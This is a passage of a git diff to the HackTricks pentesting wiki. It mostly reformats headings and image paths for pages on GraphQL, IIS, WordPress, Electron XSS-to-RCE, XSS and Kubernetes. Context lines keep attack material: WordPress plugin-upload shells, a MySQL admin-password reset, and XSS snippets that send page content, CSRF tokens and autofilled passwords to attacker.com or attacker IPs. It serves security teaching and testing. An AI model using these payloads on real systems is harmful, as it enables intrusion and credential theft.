endpoints can be vulnerable to other bugs such as IDOR. -## Searching +### Searching For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. @@ -206,13 +207,13 @@ Or even **relations of several different objects using aliases**: } ``` -## Mutations +### Mutations **Mutations are used to make changes in the server-side.** In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case): -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27.png>) For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. @@ -261,7 +262,7 @@ mutation { } ``` -## Batching brute-force in 1 API request +### Batching brute-force in 1 API request This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords. @@ -272,9 +273,9 @@ Below you can find the simplest demonstration of an application authentication r As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token. -![](<../../.gitbook/assets/image (119) (1).png>) +![](<../../.gitbook/assets/image (119) (2).png>) -# CSRF in GraphQL +## CSRF in GraphQL If you don't know what CSRF is read the following page: @@ -306,9 +307,9 @@ Also, abusing a [**XS-Search**](../../pentesting-web/xs-search.md) **attack** mi For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). -# Tools +## Tools -## Clients +### Clients {% embed url="https://github.com/graphql/graphiql" %} @@ -324,13 +325,13 @@ For more information **check the** [**original post here**](https://blog.doyense {% embed url="https://gitlab.com/dee-see/graphql-path-enum" %} -## Automatic Tests +### Automatic Tests {% embed url="https://graphql-dashboard.herokuapp.com/" %} * Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) -# References +## References * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) diff --git a/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 7a01eac94..d19b390b3 100644 --- a/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -1,5 +1,7 @@ # IIS - Internet Information Services +## IIS - Internet Information Services +
Support HackTricks and get benefits! @@ -16,7 +18,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Test executable file extensions: * asp @@ -24,7 +25,7 @@ Test executable file extensions: * config * php -# Internal IP Address disclosure +## Internal IP Address disclosure On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address: @@ -46,13 +47,13 @@ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` -# Execute .config files +## Execute .config files You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) -# IIS Discovery Bruteforce +## IIS Discovery Bruteforce Download the list that I have created: @@ -69,9 +70,9 @@ It was created merging the contents of the following lists: Use it without adding any extension, the files that need it have it already. -# Path Traversal +## Path Traversal -## Leaking source code +### Leaking source code {% hint style="info" %} As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\ @@ -252,7 +253,7 @@ HTTP/1.1 200 OK Note how in the previous output you can see a new namespace called: **WebApplication1.AdditionalFeatures** which indicates that there is another Dll in the /bin folder called **WebApplication1.AdditionalFeatures.dll** -## Common files +### Common files From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) @@ -333,18 +334,18 @@ C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` -# HTTPAPI 2.0 404 Error +## HTTPAPI 2.0 404 Error If you see an error like the following one: -![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (5).png>) +![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>) It means that the server **didn't receive the correct domain name** inside the Host header.\ In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one. -# Old IIS vulnerabilities worth looking for +## Old IIS vulnerabilities worth looking for -## Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure +### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\ The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files. @@ -357,13 +358,13 @@ Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_ You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` -## Basic Authentication bypass +### Basic Authentication bypass **Bypass** a Baisc authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php` You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication. -# ASP.NET Trace.AXD enabled debugging +## ASP.NET Trace.AXD enabled debugging ASP.NET include a debugging mode and its file is called `trace.axd`. @@ -375,7 +376,7 @@ This information includes remote client IP's, session IDs, all request and respo ![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) -# ASPXAUTH Cookie +## ASPXAUTH Cookie ASPXAUTH uses the following info: diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 69e9aab93..eb752c445 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -1,5 +1,7 @@ # Wordpress +## Wordpress +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **Uploaded** files go to: _http://10.10.10.10/wp-content/uploads/2018/08/a.txt_\ \_\_**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in\*\*:\*\* [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ @@ -27,7 +28,7 @@ In **wp-config.php** you can find the root password of the database. Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -## **Main WordPress Files** +### **Main WordPress Files** * `index.php` * `license.txt` contains useful information such as the version WordPress installed. @@ -46,7 +47,7 @@ Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admi * The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting. -## Users Permissions +### Users Permissions * **Administrator** * **Editor**: Publish and manages his and others posts @@ -54,9 +55,9 @@ Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admi * **Contributor**: Write and manage his posts but cannot publish them * **Subscriber**: Browser posts and edit their profile -# **Passive Enumeration** +## **Passive Enumeration** -## **Get WordPress version** +### **Get WordPress version** Check if you can find the files `/license.txt` or `/readme.html` @@ -74,31 +75,31 @@ Inside the **source code** of the page (example from [https://wordpress.org/supp ![](<../../.gitbook/assets/image (346).png>) -## Get Plugins +### Get Plugins ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Get Themes +### Get Themes ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Extract versions in general +### Extract versions in general ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -# Active enumeration +## Active enumeration -## Plugins and Themes +### Plugins and Themes You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** (hopefully for us there are automated tools that contains this lists). -## Users +### Users **ID Brute** @@ -122,7 +123,7 @@ curl http://blog.example.com/wp-json/wp/v2/users Also note that _**/wp-json/wp/v2/pages** could leak IP addresses\*\*.\*\*_ -## XML-RPC +### XML-RPC If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). @@ -178,13 +179,13 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ``` -![](../../.gitbook/assets/1\_jauyizf8zjdggb7ocszc-g.png) +![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png) If you get **faultCode** with a value **greater** then **0** (17), it means the port is open. Take a look to the use of \*\*`system.multicall`\*\*in the previous section to learn how to abuse this method to cause DDoS. -## wp-cron.php DoS +### wp-cron.php DoS This file usually exists under the root of the Wordpress site: `/wp-cron.php`\ When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.\ @@ -204,7 +205,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t ``` -![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) ![](<../../.gitbook/assets/image (102).png>) @@ -254,7 +255,7 @@ Using the correct credentials you can upload a file. In the response the path wi ![](<../../.gitbook/assets/image (103).png>) -## /wp-json/oembed/1.0/proxy - SSRF +### /wp-json/oembed/1.0/proxy - SSRF Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. @@ -262,13 +263,13 @@ This is the response when it doesn't work: ![](<../../.gitbook/assets/image (184).png>) -## SSRF +### SSRF {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them. -## Automatic Tools +### Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" @@ -276,7 +277,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -# **Panel RCE** +## **Panel RCE** **Modifying a php from the theme used (admin credentials needed)** @@ -288,7 +289,7 @@ Change the content for a php shell: Search in internet how can you access that updated page. In thi case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -## MSF +### MSF You can use: @@ -298,9 +299,9 @@ use exploit/unix/webapp/wp_admin_shell_upload to get a session. -# Plugin RCE +## Plugin RCE -## PHP plugin +### PHP plugin It may be possible to upload .php files as a plugin.\ Create your php backdoor using for example: @@ -327,7 +328,7 @@ Access it and you will see the URL to execute the reverse shell: ![](<../../.gitbook/assets/image (414).png>) -## Uploading and activating malicious plugin +### Uploading and activating malicious plugin **(This part is copied from** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)** @@ -361,7 +362,7 @@ As the above commands are executed, you will have your meterpreter session. Just ![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) -# Post Exploitation +## Post Exploitation Extract usernames and passwords: @@ -375,9 +376,9 @@ Change admin password: mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -# WordPress Protection +## WordPress Protection -## Regular Updates +### Regular Updates Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: @@ -389,13 +390,13 @@ add_filter( 'auto_update_theme', '__return_true' ); Also, **only install trustable WordPress plugins and themes**. -## Security Plugins +### Security Plugins * [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) * [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) * [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -## **Other Recommendations** +### **Other Recommendations** * Remove default **admin** user * Use **strong passwords** and **2FA** @@ -403,7 +404,7 @@ Also, **only install trustable WordPress plugins and themes**. * **Limit login attempts** to prevent Brute Force attacks * Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses. -# +##
diff --git a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md index d7fcf32a5..6d52f22bd 100644 --- a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md @@ -1,5 +1,7 @@ # XSS to RCE Electron Desktop Apps +## XSS to RCE Electron Desktop Apps +
Support HackTricks and get benefits! @@ -16,7 +18,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.\ You could see Electron like a local backend+frontend app where **NodeJS** is the **backend** and **chromium** is the **frontend**. @@ -94,7 +95,7 @@ Example Payloads (Linux & MacOS): ``` -# RCE: XSS + nodeIntegration +## RCE: XSS + nodeIntegration If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: @@ -104,7 +105,7 @@ If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Nod ``` -# RCE: preload +## RCE: preload The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**: @@ -143,7 +144,7 @@ window.runCalc = function(){ **If `contextIsolation` is on, this won't work** {% endhint %} -# RCE: XSS + contextIsolation +## RCE: XSS + contextIsolation The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. @@ -168,7 +169,7 @@ There are 2 places where built-int methods can be overwritten: In preload code o [electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md) {% endcontent-ref %} -## Bypass click event +### Bypass click event If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click @@ -176,13 +177,13 @@ If there are restrictions applied when you click a link you might be able to byp window.addEventListener('click', (e) => { ``` -# Read Internal Files: XSS + contextIsolation +## Read Internal Files: XSS + contextIsolation If `contextIsolation` set to false you can try to use \ (similar to \"> ``` -## JavaScript bypass blacklists techniques +### JavaScript bypass blacklists techniques **Strings** @@ -606,7 +605,7 @@ top[8680439..toString(30)](1) ```` -# **DOM vulnerabilities** +## **DOM vulnerabilities** There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\ **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** @@ -618,19 +617,19 @@ There is **JS code** that is using **unsafely data controlled by an attacker** l There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\ Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -# Other Bypasses +## Other Bypasses -## Normalised Unicode +### Normalised Unicode You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-normalization-vulnerability.md#xss-cross-site-scripting). -## PHP FILTER\_VALIDATE\_EMAIL flag Bypass +### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript ">"@x.y ``` -## Ruby-On-Rails bypass +### Ruby-On-Rails bypass Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.\ Form example ([from this report](https://hackerone.com/reports/709336)), if you send the payload: @@ -651,7 +650,7 @@ Then, the onfocus attribute will be inserted: A XSS occurs. -## Special combinations +### Special combinations ```markup /?c="+document.cookie> @@ -754,7 +753,7 @@ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies/#httponly) if you are lucky enough. {% endhint %} -## Steal Page Content +### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; @@ -769,7 +768,7 @@ xhr.open('GET', url, true); xhr.send(null); ``` -## Find internal IPs +### Find internal IPs ```html ``` -## Port Scanner (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -## Port Scanner (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; @@ -844,13 +843,13 @@ _Short times indicate a responding port_ _Longer times indicate no response._ Review the list of ports banned in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) and in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). -## Box to ask for credentials +### Box to ask for credentials ```markup ``` -## Auto-fill passwords capture +### Auto-fill passwords capture ```javascript Username:
@@ -865,7 +864,7 @@ body:username.value+':'+this.value When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. -## Keylogger +### Keylogger Just searching in github I found a few different ones: @@ -874,7 +873,7 @@ Just searching in github I found a few different ones: * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * You can also use metasploit `http_javascript_keylogger` -## XSS - Stealing CSRF tokens +### XSS - Stealing CSRF tokens ```javascript ``` -## XSS - Stealing PostMessage messages +### XSS - Stealing PostMessage messages ```markup @@ -901,7 +900,7 @@ function handleResponse() { ``` -## XSS - Abusing Service Workers +### XSS - Abusing Service Workers A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. ([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)).\ The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**. @@ -954,11 +953,11 @@ There is **C2** dedicated to the **exploitation of Service Workers** called [**S In an XSS situation, the 24 hour cache directive limit ensures that a malicious or compromised SW will outlive a fix to the XSS vulnerability by a maximum of 24 hours (assuming the client is online). Site operators can shrink the window of vulnerability by setting lower TTLs on SW scripts. We also encourage developers to [build a kill-switch SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776). -## Polyglots +### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} -## Blind XSS payloads +### Blind XSS payloads You can also use: [https://xsshunter.com/](https://xsshunter.com) @@ -1002,17 +1001,17 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
``` -## Brute-Force List +### Brute-Force List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} -# XSS Abusing other vulnerabilities +## XSS Abusing other vulnerabilities -## XSS in Markdown +### XSS in Markdown Check [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt) to find possible payloads -## XSS to SSRF +### XSS to SSRF Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload: @@ -1023,7 +1022,7 @@ Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Use it to bypass cookie restrictions, XSS filters and much more!\ More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). -## XSS in dynamic created PDF +### XSS in dynamic created PDF If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\ So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**. @@ -1038,7 +1037,7 @@ If you cannot inject HTML tags it could be worth it to try to **inject PDF data* [pdf-injection.md](pdf-injection.md) {% endcontent-ref %} -## XSS uploading files (svg) +### XSS uploading files (svg) Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): @@ -1092,13 +1091,13 @@ alert("XSS"); Find m**ore SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* -# XSS resources +## XSS resources [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)\ [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)\ [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) -## XSS TOOLS +### XSS TOOLS Find some [**tools for XSS here**](xss-tools.md)**.** diff --git a/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md index a196e9d1d..47a6b58f5 100644 --- a/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md +++ b/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md @@ -37,7 +37,7 @@ Then, in "Dev Tools" --> "Sources" **select the file** you want to override and This will **copy the JS file locally** and you will be able to **modify that copy in the browser**. So just add the **`debugger;`** command wherever you want, **save** the change and **reload** the page, and every-time you access that web page **your local JS copy is going to be loaded** and your debugger command maintained in its place: -![](<../../.gitbook/assets/image (642) (2).png>) +![](<../../.gitbook/assets/image (648).png>) ## References diff --git a/pentesting/pentesting-kubernetes/kubernetes-basics.md b/pentesting/pentesting-kubernetes/kubernetes-basics.md index a870cbb0f..3ffae2c5b 100644 --- a/pentesting/pentesting-kubernetes/kubernetes-basics.md +++ b/pentesting/pentesting-kubernetes/kubernetes-basics.md @@ -1,5 +1,7 @@ # Kubernetes Basics +## Kubernetes Basics +
Support HackTricks and get benefits! @@ -16,12 +18,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)** -# Architecture & Basics +## Architecture & Basics -## What does Kubernetes do? +### What does Kubernetes do? * Allows running container/s in a container engine. * Schedule allows containers mission efficient. @@ -30,7 +31,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Allows deployment techniques. * Handle volumes of information. -## Architecture +### Architecture ![](https://sickrov.github.io/media/Screenshot-68.jpg) @@ -39,7 +40,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\ When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints` -![](<../../.gitbook/assets/image (467).png>) +![](<../../.gitbook/assets/image (467) (1).png>) * **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes. * **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. @@ -69,7 +70,7 @@ When a pod creates data that shouldn't be lost when the pod disappear it should * When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter. * `minikube addons enable ingress` -## PKI infrastructure - Certificate Authority CA: +### PKI infrastructure - Certificate Authority CA: ![](https://sickrov.github.io/media/Screenshot-66.jpg) @@ -82,9 +83,9 @@ When a pod creates data that shouldn't be lost when the pod disappear it should * kubelet cert. * scheduler cert. -# Basic Actions +## Basic Actions -## Minikube +### Minikube **Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/). @@ -123,7 +124,7 @@ $ minikube delete 💀 Removed all traces of the "minikube" cluster ``` -## Kubectl Basics +### Kubectl Basics **`Kubectl`** is the command line tool fro kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data. @@ -158,7 +159,7 @@ kubectl delete deployment mongo-depl kubectl apply -f deployment.yml ``` -## Minikube Dashboard +### Minikube Dashboard The dashboard allows you to see easier what is minikube running, you can find the URL to access it in: @@ -175,12 +176,12 @@ minikube dashboard --url http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/ ``` -## YAML configuration files examples +### YAML configuration files examples Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\ Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run: -![](<../../.gitbook/assets/image (458) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (458) (1) (1).png>) **Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)** @@ -334,7 +335,7 @@ spec: You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\ **Note that volumes aren't inside namespaces** -## Namespaces +### Namespaces Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes. @@ -376,7 +377,7 @@ You can save the namespace for all subsequent kubectl commands in that context. kubectl config set-context --current --namespace= ``` -## Helm +### Helm Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. @@ -386,9 +387,9 @@ helm search Helm is also a template engine that allows to generate config files with variables: -![](<../../.gitbook/assets/image (465) (1).png>) +![](<../../.gitbook/assets/image (462).png>) -# Kubernetes secrets +## Kubernetes secrets A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/). @@ -475,7 +476,7 @@ kubectl exec -it secretpod -- bash env | grep SECRET && cat /etc/foo/my-group/my-username && echo ``` -## Secrets in etcd +### Secrets in etcd **etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd: @@ -581,7 +582,7 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f - * [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) * [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes\_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes\_deployApplicationsConjur-k8s-Secrets.htm) -# References +## References {% embed url="https://sickrov.github.io/" %} diff --git a/reversing/cryptographic-algorithms/README.md b/reversing/cryptographic-algorithms/README.md index f98947460..4471401f3 100644 --- a/reversing/cryptographic-algorithms/README.md 